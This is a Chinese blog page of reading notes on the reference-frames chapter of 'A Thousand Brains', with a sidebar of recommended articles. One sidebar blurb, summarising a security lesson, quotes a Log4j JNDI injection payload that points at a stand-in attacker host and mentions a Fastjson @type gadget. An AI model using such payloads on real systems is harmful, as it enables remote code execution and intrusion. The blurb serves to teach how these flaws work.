读千脑智能笔记04_参考系

Gemma 4 12B端侧部署实战:16GB笔记本跑大模型全链路指南 大语言模型(LLM)的端侧部署正从概念走向量产,其核心在于平衡模型能力、硬件约束与工程可行性。Gemma系列作为Google推出的轻量级开源模型,凭借Apache 2.0许可证和专为边缘优化的架构,成为端侧AI落地的关键载体;而12B参数规模则标志着在保持推理质量前提下,首次实现对主流消费级笔记本(如16GB内存+核显设备)的实用级支持。技术价值体现在无网络依赖、低延迟响应、数据本地化及商用友好授权;典型应用场景覆盖智能办公本AI引擎、教育机器人本地推理、信创环境离线助手等。本文聚焦Gemma 4 12B在 阅读详情

1.       大脑中的参考系

1.1.         人类出色的认知功能是区分我们与灵长目动物的最显著的特点

1.1.1.           只有人类才能使用复杂的语言,制造诸如计算机等复杂的工具,并且能够论证进化、遗传学和民主等概念

1.2.         人类大脑新皮质中的每一根皮质柱都具备相同的基本功能

1.3.         大脑中的皮质柱并不完全相同

1.3.1.           从手指获取信息输入的皮质柱与理解语言的皮质柱之间存在着实质性差异,但相似之处要多于差异之处

1.4.         人类一些基本的认知和行为必然与大脑新皮质密切相关,这不仅包括感知,还包括所有我们认为与智能相关的事物

1.4.1.           绝大多数实证证据都支撑这个观点

1.5.         每根皮质柱都必须能够学习嵌套结构和递归

1.6.         皮质柱为每个观察到的物体都创建了参考系

1.6.1.           参考系就像一个围绕并附着在某物上的不可见的三维网格

1.6.2.           参考系的存在,使皮质柱学习那些定义物体形状的特征的位置成为可能

1.6.3.           参考系视为一种能够组织任何知识的方式

1.7.         参考系在新皮质中无处不在

1.7.1.           新皮质中的每一根皮质柱都具有可以创建参考系的细胞

1.8.         皮质柱如何为无法感知到的事物建模

1.8.1.           参考系不必附着到实物上

1.8.1.1.            民主等概念的参考系需要自洽,但它可以相对独立于日常客观事物而存在

1.8.2.           概念的参考系不必与实物(如咖啡杯)的参考系具有相同的数量或相同的维度类型

1.8.2.1.            新皮质中的皮质柱很可能事先对它应该使用什么样的参考系并没有概念

1.9.         人类知识可以扩展到那些不可见的事物

1.9.1.           民主、人权和数学等概念

1.9.2.           无法轻易塑造民主这个概念的形象

1.10.     概念性知识必然会有某种特定的组织形式

1.10.1.      概念性知识也必定存储在参考系中

1.11.     某些特定概念最有用的参考系可能具有三个以上的维度

1.11.1.      无法将大于三个维度的空间可视化

1.11.2.      从数学的角度来看,它们与具有三个或更少维度的空间的工作方式是相同的

1.12.     大脑使用参考系来管理所有知识,并且思考是移动的一种形式

1.13.     所有知识都存储在与参考系相关联的位置

1.13.1.      参考系不是智能的任一组成部分,它是所有信息在大脑中的存储结构

1.14.     如果我们所知道的一切都存储在参考系中,那么为了回忆存储的知识,我们必须在适当的参考系中激活适当的位置

1.15.     参考系用于为我们所知道的一切建模,而不仅仅是实物

1.15.1.      新皮质中的皮质柱其实就是一堆神经元

1.15.2.      皮质柱只是一种由神经元构建而成的机制,它会盲目地尝试去为那些导致其输入发生变化的所有结构建模

1.15.3.      大脑进化到可以使用相同的机制来学习实物的模型,我们从而能够识别和操纵它们

1.16.     参考系也可用于我们无法直接感知到的事物,组织与之相关的知识

1.16.1.      想想所有那些你了解的但并没有直接体验过的事物

1.16.2.      没有人能够直接看见或接触DNA分子,因为它们实在是太微小了

1.17.     整体框架(概念和思维基于参考系)经得起时间的检验

2.       大脑的两个视觉通路

2.1.         新皮质被分为what区域和where区域

2.2.         如果你跟随视神经将信息从眼睛传播到新皮质,你会发现它通向两个并行的视觉系统,即what视觉通路和where视觉通路

2.3.         what视觉通路和where视觉通路具有互补作用

2.4.         what区域和where区域中的皮质柱看起来是相似的

2.4.1.           它们具有相似的细胞类型、细胞层和回路

2.5.         what柱中的皮质网格细胞将参考系附着到物体上

2.6.         where柱中的皮质网格细胞将参考系附着到你的身体上

2.6.1.           你的身体只是存在于世界上的另一个物体

3.       位点法

3.1.         记忆宫殿

3.1.1.           记住清单上的物品的一个众所周知的技巧,被称作位点法

3.1.2.           这种记忆技巧很有效,它表明当事物被分配到熟悉的参考系中的不同位置时,回忆起来会更容易

3.1.3.           参考系是你在大脑中为房子绘制的地图

3.1.4.           回忆的行为是通过移动来实现的

3.1.4.1.            你不需要真正移动你的身体,而是在大脑绘制的房子里移动

3.2.         信息存储在参考系中,信息的检索是移动的一种形式

3.3.         该方法对于快速记忆清单物品非常有效

3.3.1.           之所以有效,是因为它将这些物品分配到先前已学习的参考系(你的房子)中,并利用先前已学习的移动(你通常在房子中移动的方式)进行记忆

3.4.         位点法利用先前已学习的地图,即房子的地图,来存储物品以供日后回忆

3.4.1.           如果所有知识都是以这种方式存储的,那么我们通常所说的“思维”实际上就是在一个空间、一个参考系中移动

3.4.2.           你当前的想法,以及任何时刻存储在你大脑中的东西,都由参考系中的当前位置决定

4.       找出有用的参考系

4.1.         功能磁共振成像(fMRI)是一种探测活脑以检测它的哪些部分最活跃的技术

4.2.         功能磁共振成像通常用于人类被试,因为该过程需要被试在执行特定脑力任务时完全静止地躺在嘈杂的大型机器窄管内

4.3.         功能磁共振成像能够检测许多神经元的一般活动,但无法检测持续时间不到一秒的活动

4.4.         在任一时间点,哪些单个神经元处于活跃状态,以及活跃的神经元每秒变化次数

4.5.         地图参考系显示了对相同事件的不同思考方式

4.6.         在学习一个新的领域时,大脑不仅仅是存储事实

4.6.1.           对于数学,大脑必须找出有用的参考系来存储方程和数字,并且必须了解数学行为(如运算和变换)是如何移到参考系内的新位置的

4.6.2.           解决复杂问题,比如数学猜想,需要经过大量的练习

4.7.         政治家和数学家并不知道他们是在使用参考系来组织知识,就像你我也不知道我们在使用参考系理解智能手机和订书机一样

5.       语言

5.1.         语言可以说是人类有别于所有其他动物最重要的认知能力

5.1.1.           如果不具备通过语言分享知识和经历的能力,现代社会几乎就不可能存在

5.2.         语言与其他认知能力是否存在本质区别,这一点一直存在争论

5.2.1.           语言学家倾向于将语言描述为一种独特的能力,不同于我们所做的其他任何事情

5.2.2.           如果这是真的,那么大脑中负责生成和理解语言的区域看起来应该是不同的

5.2.3.           在这种情况下,神经科学是模棱两可的

5.3.         根据语言学家的说法,语言的一个明显属性是嵌套结构

5.3.1.           语言中递归的确切定义仍存在争议,但总体概念并不难理解

5.3.2.           人们一直认为嵌套结构和递归是语言的关键属性

5.4.         嵌套结构和递归并不是语言所独有的属性

5.4.1.           事实上,世界上的所有事物都是通过这种方式组成的

5.5.         韦尼克区(Wernicke’s area)负责语言理解

5.6.         布罗卡区(Broca’s area)负责语言生成

5.7.         韦尼克区和布罗卡区并不直接从感官获得信息输入,所以语言的理解还必须依赖听觉区和视觉区,语言的生成必须依赖不同的运动能力

5.8.         为什么语言功能只在大脑的左侧发生,也许存在一种简单的解释,那就是语言需要快速处理,而大多数新皮质中的神经元处理语言的速度太慢

5.8.1.           韦尼克区和布罗卡区的神经元具有额外的绝缘层(称为髓鞘),这可以使神经元运行得更快,从而满足语言处理的速度需求

6.       好的参考系是成为专家的关键

6.1.         参考系的四种用途,一种用于旧脑,三种用于新皮质

6.2.         要成为任一领域的专家,你都需要有一个好的参考系,一张好的地图

6.3.         成为专家主要是要找到一个好的参考系来组织事件和观察数据

6.4.         爱因斯坦有关狭义相对论的发现最令人着迷的一点是,他所运用的参考系都是日常物体

6.5.         爱因斯坦的广义相对论需要基于“场方程”(field equation)这个数学概念的参考系,这些概念不容易与日常物体关联起来

6.5.1.           爱因斯坦发现这更难理解,其他人几乎也是这么认为的

工业传感器数据采集的系统学习路径 从传感器选型、信号调理到FPGA加速处理,手把手带你打通工业数据采集全流程;重点详解Vitis开发环境配置、硬件平台构建与AI加速应用,结合实战案例讲透Vitis使用教程核心要点。 阅读详情

相关推荐

399美元开源机器人Microduck:从复现到自研的完整指南

开源机器人正成为机器人开发的重要载体,它将AI模型与物理硬件结合,让个人开发者也能以低成本进入具身智能领域。一个完整的开源机器人项目通常包含机械、电子、软件和文档四层结构,理解其设计原理是复现与二次开发的基础。基于ROS 2与仿真工具,开发者可以在虚拟环境中验证运动控制和感知算法,再迁移到真实平台。这类平台广泛应用于机器人导航、SLAM、路径规划和多机器人协同等研究场景。本文以Hugging Face发布的399美元开源机器人Microduck为线索,系统介绍开源机器人项目的评估方法、环境搭建、最小闭环实现

weixin_34274029的博客 460

高中物理 参考系

要描述一个物体的运动,首先要选定某个其他物体做参考,观察物体相对于这个“其他物体”的位置是否随时间变化,以及岑样变化。这种用来做参考的物体称为参考系。参考系=参照物+坐标系。

JZY110701的博客 439

pytorch中dataloader的num_workers参数

结论速递 在Windows系统中,num_workers参数建议设为0,在Linux系统则不需担心。 1 问题描述 在之前的任务超大图上的节点表征学习中,使用PyG库用于数据加载的DataLoader,ClusterLoader等类时,会涉及到参数num_workers。在不同系统环境试验该参数的设定值时,会出现不同的结果 colab(Linux),设为12 有warning message,提示num_workers参数设置不合理,不影响继续运行 /usr/local/lib/python3.7/di

qq_40990057的博客 1万+

读千脑智能笔记13_读后总结与感想兼导读

读后总结与感想兼导读

lyingSeven的博客 1116

C#中的Chart控件——当数据源很多时可以显示进度条拉动观察,也可以记录到后台文本详细对照

C#中的Chart控件——当数据源很多时可以显示进度条拉动观察,也可以记录到后台文本详细对照下面进行详细步骤说明,感兴趣的同学可以看一下: 1简单示例(一条线): 2.数据源随着时间不断变化,进度条变化 。多条线: 3.看在整段时期内的数据大体图(消去或出现)进度条: 4.后台将时刻记录变化记录到一个txt文本里以供详细校验: 话不多说上码: using System; using Sys...

帅boy的博客 4308

从设计到实战:手把手教你用SolidWorks完成一个简易离心泵叶轮的水力设计全流程

本文详细介绍了使用SolidWorks进行简易离心泵叶轮水力设计的全流程,涵盖参数计算、水力设计和三维建模等关键步骤。通过实际案例演示,帮助机械设计工程师和学生掌握从理论到实践的转化技巧,特别适合低比转速离心泵叶轮的设计需求。

weixin_30621711的博客 233

Ubuntu 20.04中文输入法配置全解:IBus与Fcitx深度适配指南

Linux输入法并非普通应用,而是运行在X11/Wayland会话层之上的基础设施服务。其核心依赖语言支持包(如language-pack-zh-hans)提供的UTF-8 locale编码、中文字体渲染及区域设置,同时需匹配输入法框架(IBus或Fcitx)与桌面环境(GNOME)的集成机制。IBus基于D-Bus服务化架构,原生兼容Wayland,适合Ubuntu 20.04默认GNOME桌面;Fcitx 4.x则因Wayland焦点事件支持缺陷,在该系统中必须降级至X11会话方可稳定工作。技术价值在于

weixin_34176694的博客 434

R语言分类变量的统计描述

三篇介绍了连续变量的统计描述的R语言相关函数,计算数值的相关统计指标。本文介绍分类变量的统计描述及如何在R语言中实现。 不同于连续变量,分类变量的统计描述主要是汇总分类变量各类别例数及百分比。 1、table()函数 ...

zsc943290710的博客 1万+

ROS学习笔记08、机器人导航仿真(slam、map_server、amcl、move_base与导航消息介绍)

马上开学,目前学校很多实验室都是人工智能这块,大部分都是和机器人相关,然后软件这块就是和cv、ros相关,就打算开始学习一下。本章节是虚拟机安装Ubuntu18.04以及安装ROS的环境。学习教程:【Autolabor初级教程】ROS机器人入门,博客中一些知识点是来源于赵老师的笔记在线笔记,本博客主要是做归纳总结,如有侵权请联系删除。视频中的案例都基本敲了遍,这里给出我自己的源代码文件: 所有博客文件目录索引:博客目录索引(持续更新)关键技术有如下五点:SLAM问题可以描述为: 机器人在未知环境中从一个未知

每个人都是独一无二的,把握好自己的节奏,跟着自己的心走。 5475

【ECCV 2024】动态范围直方图自注意力DHSA,即插即用!

直方图自注意力机制,将空间特征按强度分段并进行分组,然后在各个分组内或分组间应用自注意力,以选择性地关注具有动态范围的空间特征,并处理长距离内相似退化的像素。

qq_43303160的博客 1844

Oracle EBS AP 应付模块核心实现逻辑(极简骨架 + 分层拆解 + 业务流转 + 分录 + 核心表)

Oracle EBS AP应付模块采用四层逻辑架构:1)主数据层统一管控供应商基础信息;2)发票负债层通过三单匹配校验生成应付账款;3)付款核销层实现负债冲减;4)SLA层自动生成财务凭证。核心流程包括发票验证(匹配PO/收货单)、付款核销(全额/部分冲账)、会计分录自动生成(通过SLA引擎)。模块严格遵循"无匹配不负债、无验证不入账"原则,与采购、库存等模块深度集成,实现从供应商创建到付款核销的完整业务闭环,确保应付账款准确性和审计追溯能力。

金牌架构师 440

Clawdbot实战教程:Qwen3:32B构建教育领域错题归因+知识点推荐AI代理系统

本文介绍了如何在星图GPU平台上自动化部署Clawdbot 整合 qwen3:32b 代理网关与管理平台镜像,构建教育领域错题归因与知识点推荐AI代理系统。该镜像可自动解析学生错题、精准定位知识漏洞,并推送针对性变式题与微课资源,显著提升个性化教学效率。

weixin_42311427的博客 451

MVSNet (pytorch版) 搭建环境 运行dtu数据集重建 实操教程(图文并茂、超详细)

MVSNet (pytorch版) 代码注释版 下载 (注释非常详细,代码结构有所调整,使用起来更方便) 深度学习三维重建 MVSNet-ECCV-2018 (源码、pytorch版、原文+注释、译文+批注)Meshlab查看三维点云时 ,使用技巧总结。

程序员,他们想的是什么?他们想的永远都是技术,他们崇尚的也永远都是技术。 2938

OpenClaw深度解析:AI代理如何赋能一人公司与个人效率革命

最近在技术圈和创业圈,一个现象级的讨论正在蔓延:一边是“一人公司”的创业神话被反复提及,另一边是像 OpenClaw 这样的开源 AI 助手工具被捧上神坛,再加上层出不穷的 AI 培训课程,三者共同构成了当下 AI 浪潮中最具争议的“三驾马车”。很多人,尤其是技术背景的开发者,被这股浪潮裹挟,甚至有人裸辞,试图用 OPC(One-Person Company,一人公司)模式,结合 OpenClaw 这类工具,快速实现个人商业闭环。但现实真的如此美好吗? 这篇文章不打算制造焦虑或贩卖梦想,而是想从一个技术实践

weixin_34279184的博客 388

【Nginx学习】5步揭秘Nginx邮件代理模块:邮件代理服务器的功能与实现

Nginx的邮件代理模块(Mail Proxy Module)允许Nginx作为邮件代理服务器,支持SMTP、POP3和IMAP协议。这使得Nginx可以作为一个高性能的邮件网关,用于过滤垃圾邮件、病毒扫描、负载均衡等任务。简单来说,Nginx在这里就像是一个邮递员,负责将邮件从发件人手中安全、快速地送到收件人手中。通过上述的解析,我们可以看到Nginx在邮件代理模块中的设计和实现。从配置解析、连接处理,到协议处理、SSL/TLS加密和日志记录,每一步都至关重要。

java专栏 1313

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

MoveIt!配置助手:机器人语义建模与SRDF生成核心指南

SRDF(Semantic Robot Description Format)是MoveIt!实现运动规划的语义中枢,它将URDF定义的物理结构转化为规划器可理解的功能模型。其本质是建立关节链、规划组、碰撞关系与末端执行器之间的逻辑映射,依赖严格的拓扑一致性与命名规范。Setup Assistant作为官方图形化工具,通过实时解析URDF、自动校验运动学链、可视化生成ACM(碰撞免检矩阵)和虚拟关节等能力,显著降低语义建模门槛。它不仅规避手写SRDF常见的link命名错误、fixed joint遗漏、ACM

weixin_33670713的博客 462

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Qt开发入门:从零到跨平台GUI低手

Qt开发入门:从零到跨平台GUI低手

Yusei_0523的博客 552

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 275

新概念英语第一册 · 词法笔记

以《新概念英语第一册》为范围,梳理 10 类词性中的 8 类:名词的数与所有格、冠词、代词、形容词副词比较级、数词与时间、介词、动词四类与 have 的四种用法、情态动词与不定式,附易错 TOP12 与课次顺序。

Ep流苏的博客 204

闪光灯笔记

主体后常亮补光,相机快门速度两秒,相机固定在三脚架上,让主体保持不动,按下快门之后主体周围晃动灯棒。特点:人物清晰,背景车流灯光拖在人物身后,氛围感强,就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机:M 档,快门 1s,f/8,ISO100。上图:前帘同步,车向前行驶,光轨跑到车头前面,看着很怪。例:6 次,4Hz → 6÷4=1.5s → 相机快门设置≥1.5s,推荐 2s。缺点(慢速快门拍运动物体):闪光先把人定住,之后人物继续移动,在传感器上,

oDianZi1234567的博客 279

排序算法深度笔记(下):非比较类排序的线性突破与工程边界

排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)

2401_87069538的博客 590

【LTE L3 笔记 10】LTE物理信道-PUCCH、PUSCH

课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。

lyouhuan的博客 179

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

【LTE L3 笔记 05】LTE同步信号

课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。

lyouhuan的博客 115

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 188

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 361
上一篇: 读千脑智能笔记03_大脑中的地图
下一篇: 读千脑智能笔记05_千脑智能理论
躺柒
博客等级 码龄4年 7004粉丝 1320原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值